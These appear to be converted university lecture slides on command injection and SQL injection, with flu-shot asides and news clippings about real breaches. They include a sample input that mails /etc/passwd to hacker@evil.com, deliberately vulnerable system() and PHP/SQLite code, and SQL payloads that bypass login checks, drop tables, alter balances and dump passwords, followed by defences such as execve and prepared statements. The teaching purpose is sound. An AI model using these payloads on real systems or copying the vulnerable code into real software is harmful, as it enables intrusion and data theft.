

# Command Injection



**John Regehr**  
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Replying to [@fugueish](#) [@jfbastien](#)

C is awesome because it defers problems to runtime, at which point people might not be able to find me

# Administrivia...

- Midterm whee...
  - Midterm reviews in discussion tomorrow and Thursday
-

# A Quick Digression on self-propagating attacks...

- Later on in the semester we will discuss worms, viruses, etc...
  - Malicious attacks designed to spread from computer to computer
- The analogy to actual viruses is remarkably close
  - Malicious attacks designed to spread from cell to cell and person to person
  - Immune system operates on recognizing "this is bad" and responds to it
- One of the deadlier biological attacks is influenza
  - It changes from year to year on a quite rapid basis, as a way of avoiding the "this is bad" detector
- And you all are young and healthy, it ***probably*** won't kill you...
  - But it will put you out of action for a week+, and may make you wish you were dead
  - Happy Reading: The 1918 flu... Which killed 500,000 people in the United States alone!



## 2020 Flu Vaccine Patch Notes from the CDC:

Are there any changes to the 2020-2021 Northern Hemisphere vaccines from what was included in this season's 2019-2020 U.S. flu vaccines?

Yes, this season's flu vaccines were updated to better match viruses expected to be circulating in the United States.


- The egg-based H1N1 vaccine component was updated from an A/Brisbane/02/2018 (H1N1)pdm09-like virus to an A/Guangdong-Maonan/SWL1536/2019 (H1N1)pdm09-like virus.
- The cell- or recombinant-based H1N1 vaccine component was updated from an A/Brisbane/02/2018 (H1N1)pdm09-like virus to an A/Hawaii/70/2019 (H1N1)pdm09-like virus.
- The egg-based H3N2 vaccine component was updated from an A/Kansas/14/2017 (H3N2)-like virus to an A/Hong Kong/2671/2019 (H3N2)-like virus.
- The cell- or recombinant-based H3N2 vaccine component was updated from an A/Kansas/14/2017 (H3N2)-like virus to an A/Hong Kong/45/2019 (H3N2)-like virus.
- The B/Victoria lineage vaccine component was updated from a B/Colorado/06/2017 (B/Victoria lineage)-like virus to a B/Washington/02/2019 (B/Victoria lineage)-like virus.
- The B/Yamagata lineage vaccine component was not updated.



John Richards  
@loserboy

Follow

Flu info from a literal Doctor...who is funny.



# So Get A Flu Shot!



- Tang center offers drop-in Flu clinics
  - <https://uhs.berkeley.edu/medical/flu-shots-tang>: Free with SHIP, \$30 otherwise
- Every pharmacy around offers cheap or free
  - Non-SHIP insurance, just walk into CVS or Walgreens with your insurance card
- This also grants ***herd immunity***:
  - If enough people are immune, this also protects those who aren't immune
  - So it helps others, not just yourself
- The university now requires it...
  - Just doesn't enforce it (yet)



# Switching Gears: Web Security

- We've discussed classic C memory vulnerabilities...
- We've discussed cryptography
  - A way of formally protecting communication channels
- Now its on to the ugly world of ***web application security***
  - Old days: Applications ran on computers or mainframes
  - Today: Applications run in a split architecture between the web browser and web server
- Starting: Command and SQL Injection Attacks:  
Focusing on the server logic
- Later: Same origin, xss, csrf attacks:  
Focusing on the interaction between the server and the client

# Consider a Silly Web Application...

- It is a **cgi-bin** program
  - A program that is invoked with arguments in the URL after the ?
- In this case, it is look up the user in phonebook...
  - [http://www.harmless.com/phonebook.cgi?regex=Alice.\\*mith](http://www.harmless.com/phonebook.cgi?regex=Alice.*mith)

```
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);
    system(cmd);
}
```

- Instead of `http://harmless.com/phonebook.cgi?regex=Alice.*Smith`
- How about `http://harmless.com/phonebook.cgi?regex=foo%20x;%20mail%20-s%20hacker@evil.com%20</etc/passwd;%20touch`
- Command becomes: `"grep foo x; mail -s hacker@evil.com </etc/passwd; touch phonebook.txt"`  
%20 is an escaped space in a URL, the web server turns it into " " characters before going to the program

```
/* print any employees whose name  
 * matches the given regex */
```

```
void find_employee(char *regex)
```

```
{
```

```
    char cmd[512];
```

```
    snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);
```

```
    system(cmd);
```

```
}
```

**Control information, not data**





Rank	Score	ID	Name
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# How To Fix Command Injection?

```
snprintf(cmd, sizeof(cmd),  
         "grep %s phonebook.txt", regex);
```

- One general approach: *input sanitization*
  - Look for anything nasty in the input ...
  - ... and “defang” it / remove it / escape it
- Seems simple enough, but:
  - Tricky to get right
  - Brittle: if you get it wrong & miss something, you **LOSE**
    - Attack slips past!
  - Approach in general is a form of “default allow”
    - i.e., input is by default okay, only known problems are removed

# How To Fix Command Injection?

```
snprintf(cmd, sizeof cmd,  
    "grep '%s' phonebook.txt", regex);
```

Simple idea: *quote* the data  
to enforce that it's indeed  
interpreted as data ...

⇒ `grep 'foo x; mail -s hacker@evil.com </etc/passwd; rm' phonebook.txt`

Argument is back to being **data**; a  
single (large/messy) pattern to grep

Problems?



# How To Fix Command Injection?

```
snprintf(cmd, sizeof cmd,  
    "grep '%s' phonebook.txt", regex);  
...regex=foo' x; mail -s hacker@evil.com </etc/passwd; touch'
```

Whoops, control information again, not data

This turns into an empty string,  
so sh sees command as just  
“touch”

⇒ `grep 'foo' x; mail -s hacker@evil.com </etc/passwd; touch' phonebook.txt`

Maybe we can add some special-casing and patch things  
up ... but hard to be confident we have it **fully correct!**

# Issues With Input Sanitization

- In theory, can prevent injection attacks by properly sanitizing input
  - Remove inputs with meta-characters
    - (can have “collateral damage” for benign inputs)
  - Or escape any meta-characters (including escape characters!)
    - Requires a ***complete model*** of how input subsequently processed
      - E.g. ...regex=foo%27 x; mail ...
- But it is easy to get wrong!
- Better: avoid using a feature-rich API (if possible)
  - KISS + defensive programming

**%27 is an *escape sequence* that expands to a single quote**

# The Root Problem: `system`

- This is the core problem.
- `system()` provides too much functionality!
- It treats arguments passed to it *as full shell command*
- If instead we could just run `grep` directly, no opportunity for attacker to sneak in other shell commands!

```
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);
    system(cmd);
}
```

# Safe: `execve`

```
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10]; /* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path; /* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = null;
    envp[0] = null;
    if ( execve(path, argv, envp) < 0 )
        command_failed(...);
}
```



```
/* print any employees whose name  
 * matches the given regex */  
void find_employee(char *regex)
```

```
{
```

```
    char *path = "/usr/bin/grep";
```

```
    char *argv[10]; /*
```

```
    char *envp[1]; /*
```

```
    int argc = 0;
```

```
    argv[argc++] = path; /* argv[0] = prog name */
```

```
    argv[argc++] = "-e"; /* force regex as pat. */
```

```
    argv[argc++] = regex;
```

```
    argv[argc++] = "phonebook";
```

```
    argv[argc++] = null;
```

```
    envp[0] = null;
```

```
    if (execve(path,  
        command_failed(  

```

```
    }
```

**These will be separate arguments to the program**

**execve() just executes a single specific program.**

**No matter what weird goop "regex" has in it, it'll be treated as a single argument to grep; **no shell involved****

# All Languages Should (and Most Do) Have Such Features...

- EG, python has unsafe (`os.system`) and safe (`os.execv`) and safe but more powerful (`subprocess`)
  - But really, if you invoke `os.system()`, the environment should shoot the programmer for incompetence!
- Go ***only*** has the safe version!
  - in "`os/exec`"
- The mark of a better language is that it doesn't offer two ways to do the same thing (one unsafe), but only one safe way.
  - "If your system has two ways of doing something, one of which is subtly wrong, >51% will chose the wrong version"



# Anonymous speaks: the inside story of the HBGary hack


By Peter Bright | Last updated a day ago

Computer Science 161 Fall 2020

Weaver



The hbgaryfederal.com CMS was susceptible to a kind of attack called **SQL injection**. In common with other CMSes, the hbgaryfederal.com CMS stores its data in an SQL database, retrieving data from that database with suitable queries. Some queries are fixed—an integral part of the CMS application itself. Others, however, need parameters. For example, a query to retrieve an article from the CMS will generally need a parameter corresponding to the article ID number. These parameters are, in turn, generally passed from the Web front-end to the CMS.



It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had **unmasked the hacker hordes of Anonymous** and was preparing to name and shame those responsible for co-ordinating the group's actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

When Barr **told** one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HBGary's servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. As an added bonus, a second site owned



# Command Injection in the Real World



The screenshot shows a CNET News article from May 8, 2009. The article is titled "UC Berkeley computers hacked, 160,000 at risk" and is written by Michelle Meyers. A text box highlights a portion of the article's content, which discusses a suspected SQL injection attack. The article mentions that the University of California at Berkeley's health services center computer was hacked, potentially stealing personal information of more than 160,000 students, alumni, and others. It also notes that 97,000 individuals whose Social Security numbers were accessed are at particular risk of identity theft.

cnet news

Home > News > Security

Security

From the looks of it, however, one our suspects an **SQL injection**, in which the Web site. Markovich also questioned not noticed the hack for six months, a

May 8, 2009 1:53 PM PDT

## UC Berkeley computers hacked, 160,000 at risk

by Michelle Meyers

Font size Print E-mail Share 20 comments

0 tweet Share

*This post was updated at 2:16 p.m. PDT with comment from an outside database security software vendor.*

Hackers broke into the University of California at Berkeley's health services center computer and potentially stole the personal information of more than 160,000 students, alumni, and others, the university announced Friday.

At particular risk of identity theft are some 97,000 individuals whose Social Security numbers were accessed in the breach, but it's still unclear whether hackers were able to match up those SSNs with individual names, Shelton Waggener, UCB's chief technology officer, said in a press conference Friday afternoon.



# Command Injection in the Real World

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## Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the **United Nations** and in the U.K. government -- have been hacked recently and seeded with code that tries to exploit security flaws in **Microsoft Windows** to install malicious software on visitors' machines.


**Update, April 29, 11:28 a.m. ET:** In [a post](#) to one of its blogs, Microsoft says this attack was *not* the fault of a flaw in IIS: "...our investigation has shown that there are no new or unknown vulnerabilities being exploited.

attacks are in no way related to Microsoft Security Advisory (951306). The attacks are facilitated by SQL injection exploits and are not issues related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies. SQL injection attacks enable malicious users to execute commands in an application's database. To protect against SQL injection attacks the


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# Structure of Modern Web Services



# Structure of Modern Web Services






# Structure of Modern Web Services



**Custom data  
corresponding to x & y**



# Structure of Modern Web Services



# Structure of Modern Web Services



**Program In Browser  
Interprets & Renders  
Data**



# Databases

- Structured collection of data
  - Often storing tuples/rows of related values
  - Organized in tables



Customer		
AcctNum	Username	Balance
1199	fry	7746533.71
0501	zoidberg	0.12
...	...	...
...	...	...



# Databases

- Management of groups (tuples) of related values
- Widely used by web services to track per-user information
- Database runs as separate process to which web server connects
  - Web server sends queries or commands parameterized by incoming HTTP request
  - Database server returns associated values
  - Database server can also modify/update values

<i>Customer</i>		
AcctNum	Username	Balance
1199	fry	7746533.71
0501	zoidberg	0.12
...	...	...
...	...	...

# SQL

- Widely used database query language
  - (Pronounced “ess-cue-el” or “sequel”)
- Fetch a set of records:
  - **SELECT field FROM table WHERE condition**
    - returns the value(s) of the given field in the specified table, for all records where condition is true.
- E.g:
- **SELECT Balance FROM Customer WHERE Username='zoidberg'**  
will return the value 0.12

<i>Customer</i>		
AcctNum	Username	Balance
1199	fry	7746533.71
0501	zoidberg	0.12
...	...	...
...	...	...

# SQL, con't

- Can add data to the table (or modify):
- **INSERT INTO Customer**  
**VALUES (8477, 'oski', 10.00) -- pay the bear**

Strings are enclosed in single quotes;  
some implementations also support  
double quotes

An SQL comment


Customer		
AcctNum	Username	Balance
1199	fry	7746533.71
0501	zoidberg	0.12
8477	oski	10.00



# SQL, con't

- Can add data to the table (or modify):
  - `INSERT INTO Customer  
VALUES (8477, 'oski', 10.00) -- oski has ten buckaroos`
- Or delete entire tables:
  - `DROP Customer`
- Semicolons separate commands:
  - `INSERT INTO Customer VALUES (4433, 'vladimir', 888.99);  
SELECT AcctNum FROM Customer WHERE Username='vladimir;`
    - returns 4433.

# Database Interactions




# Web Server SQL Queries

- Suppose web server runs the following PHP code:

```
$recipient = $_POST['recipient'];  
$sql = "SELECT AcctNum FROM Customer  
      WHERE Balance < 100 AND  
      Username='$recipient' ";  
$result = $db->executeQuery($sql);
```
- The query returns recipient's account number if their balance is < 100
- Web server will send value of `$sql` variable to database server to get account #s from database
- So for “`?recipient=Bob`” the SQL query is:
  - `SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username='Bob'`



# The Parse Tree for this SQL



SELECT AcctNum FROM Customer  
WHERE Balance < 100 AND Username='Bob'


# SQL Injection

- Suppose web server runs the following PHP code:

```
$recipient = $_POST['recipient'];  
$sql = "SELECT AcctNum FROM Customer  
      WHERE Balance < 100 AND  
      Username='$recipient' ";  
$result = $db->executeQuery($sql);
```

- How can `$recipient` cause trouble here?
  - How can we see anyone's account?
    - Even if their balance is  $\geq 100$

# Basic picture: SQL Injection






# SQL Injection Scenario, con't

- `WHERE Balance < 100 AND  
                                    Username=' $recipient '`
- Conceptual idea (doesn't quite work): Set recipient to  
  `"foo' OR 1=1"`
- `WHERE Balance < 100 AND  
                                    Username='foo' OR 1=1 '`
- Precedence makes this:
  - `WHERE (Balance < 100 AND  
                                    Username='foo' ) OR 1=1`
- Always true!

```
SELECT AcctNum FROM Customer
WHERE (Balance < 100 AND Username='foo') OR 1=1
```



# SQL Injection Scenario, con't

- Why “foo' OR 1=1” doesn't quite work:
  - `WHERE Balance < 100 AND  
Username='foo' OR 1=1'`
  - Syntax error, unmatched '
- So lets add a comment!
  - `"foo' OR 1=1--"`
- Server now sees
  - `WHERE Balance < 100 AND  
Username='foo' OR 1=1 --'`
- Could also do `"foo' OR ''='"`
  - So you can't count on -- as indicators of "badness"




# SQL Injection Scenario, con't

- **WHERE Balance < 100 AND  
Username=' \$recipient '**
- How about **\$recipient =  
foo' ; DROP TABLE Customer; --** ?
- Now there are two separate SQL commands, thanks to ' ; ' command-separator.
- Can change database however you wish!

# SQL Injection Scenario, con't

- **WHERE Balance < 100 AND  
Username=' \$recipient'**
- **\$recipient =  
foo'; SELECT \* FROM Customer; --**
  - Returns the entire database!
- **\$recipient =  
foo'; UPDATE Customer SET Balance=9999999  
WHERE AcctNum=1234; --**
  - Changes balance for Acct # 1234! MONEYMONEYMONEY!!!

# SQL Injection: Exploits of a Mom









# SQL Injection: Summary

- Target: web **server** that uses a back-end database
- **Attacker goal**: inject or modify database commands to either read or alter web-site information
- **Attacker tools**: ability to send requests to web server (e.g., via an ordinary browser)
- **Key trick**: web server allows characters in attacker's input to be interpreted as SQL control elements rather than simply as data

# Blind SQL Injection

- A variant on SQL injection with less feedback
  - Only get a True/False error back, or no feedback at all
- Makes attacks a bit more *annoying*
  - But it doesn't fundamentally change the problem
- And of course people have automated this!
  - <http://sqlmap.org/>

sqlmap®

Automatic SQL injection and database takeover tool

## ⋮ Introduction()⋮--

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

# Demo Tools

- Squigler
  - Cool “localhost” web site(s) (Python/SQLite)
  - Developed by Arel Cordero, Ph.D.
  - I’ll put a copy on the class page in case you’d like to play with it
- Allows you to run SQL injection attacks ***for real*** on a web server you control
  - Basically a ToyTwitter type application



# Some Squigler Database Tables

<b><i>Squigs</i></b>		
username	body	time
ethan	<i>My first squig!</i>	2017-02-01 21:51:52
cathy	<i>@ethan: borrr-ing!</i>	2017-02-01 21:52:06
...	...	...

# Server Code For Posting A "Squig"

Computer Science 161 Fall 2020

Weaver

```
def post_squig(user, squig):  
    if not user or not squig: return  
    conn = sqlite3.connect(DBFN)  
    c = conn.cursor()  
    c.executescript("INSERT INTO squigs VALUES  
                    ('%s', '%s', datetime('now'));" %  
                    (user, squig))  
  
    conn.commit()  
    c.close()
```

**dilbert**

don't contractions work?

Squig it!

2017-02-02 16:33:03 Man! Writing nonsense makes the time pass quickly.

2017-02-02 16:11:09 Am I philosophical because I like phyllo dough?

2017-02-02 16:11:07 I want in to the mix guys: I think @alice and @arel are having a good time scheming a plot or something.

localhost:8080/do\_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert&squig=don%27t+contractions+work%3F

404-ed!

The requested URL *http://localhost:8080/do\_squig?redirect=/userpage?user=dilbert&squig=don't+contractions+work?* was not found.


```
INSERT INTO squigs VALUES  
    (dilbert, 'don't contractions work?',  
     date);
```

**Syntax error**

# Another Interesting Database Table...

<i><b>Accounts</b></i>		
username	password	public
dilbert	lame	't'
alice	kindacool	'f'
...	...	...

# What Happens Now?



```
INSERT INTO squigs VALUES
    (dilbert, ' ' || (select (username || ' ' || password) from
accounts where username='bob') || ' ',
    date) ;
```



# OOPS!!!! :)



# SQL Injection Prevention?

- (Perhaps) Sanitize user input: check or enforce that value/string that does not have commands of any sort
  - Disallow special characters, or
  - Escape input string
- **SELECT PersonID FROM People WHERE Username=' alice\';  
SELECT \* FROM People;**
  - Risky because it's easy to overlook a corner-case in terms of what to disallow or escape
- But: can be part of defense-in-depth...
  - Except that IMO you ***will*** fail if you try this approach

# Escaping Input

- The input string should be interpreted as a string and not as including any special characters
- To escape potential SQL characters, add backslashes in front of special characters in user input, such as quotes or backslashes
  - This is just like how C works as well:  
For a " in a string, you put \"
- Rules vary, but common ones:
  - \' -> \'
  - \\ -> \
  - etc...

# Examples

- Against what string do we compare Username (after SQL parsing), and when does it flag a syntax error?

**[..] WHERE Username='alice';** **alice**

**[..] WHERE Username='alice\';** **Syntax error, quote not closed**

**[..] WHERE Username='alice\"';** **alice'**

**[..] WHERE Username='alice\\';** **alice\**

**because \\ gets converted to \ by the parser**




# SQL Injection: Better Defenses

- Idea: Let's take execve's ideas and apply them to SQL...
- ```
ResultSet getProfile(Connection conn, String arg_user)
{
    String query = "SELECT AcctNum FROM Customer WHERE
    Balance < 100 AND Username = ?";
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, arg_user);
    return p.executeQuery();
}
```


  - Untrusted user input
  - Confines Input to a Single Value
  - Binds the input to the value
- This is a "prepared statement"

# Parse Tree for a Prepared Statement




Note: **prepared** statement only allows ?'s at **leaves**, not **internal nodes**. So *structure* of tree is *fixed*.

# So What Happens To Bobby Tables?



# Parsing Bobby Tables...





# Biggest Problem With Prepared Statements: IT ISN'T IN SQL!

- Instead, it is part of the communication protocol for specific databases
  - EG, for MySQL you can only use the "binary" connection
- Different databases (Postgres, MySQL, Oracle) use different syntax
  - So you need a library that also includes an appropriate translator to do the preparation for the particular database you are using

# There are mistakes you will make...

## And those you must NEVER make...

- If you are stuck with a large C/C++ code base...
  - You WILL have memory errors, and I'll laugh
- If you ***start*** a new project in C or C++
  - My spirit will rip out your soul through the monitor...
- And if you create ***anything*** with an SQL or command injection vulnerability...
  - My spirit will rip out your soul through the monitor...
  - and then tap-dance on your grave!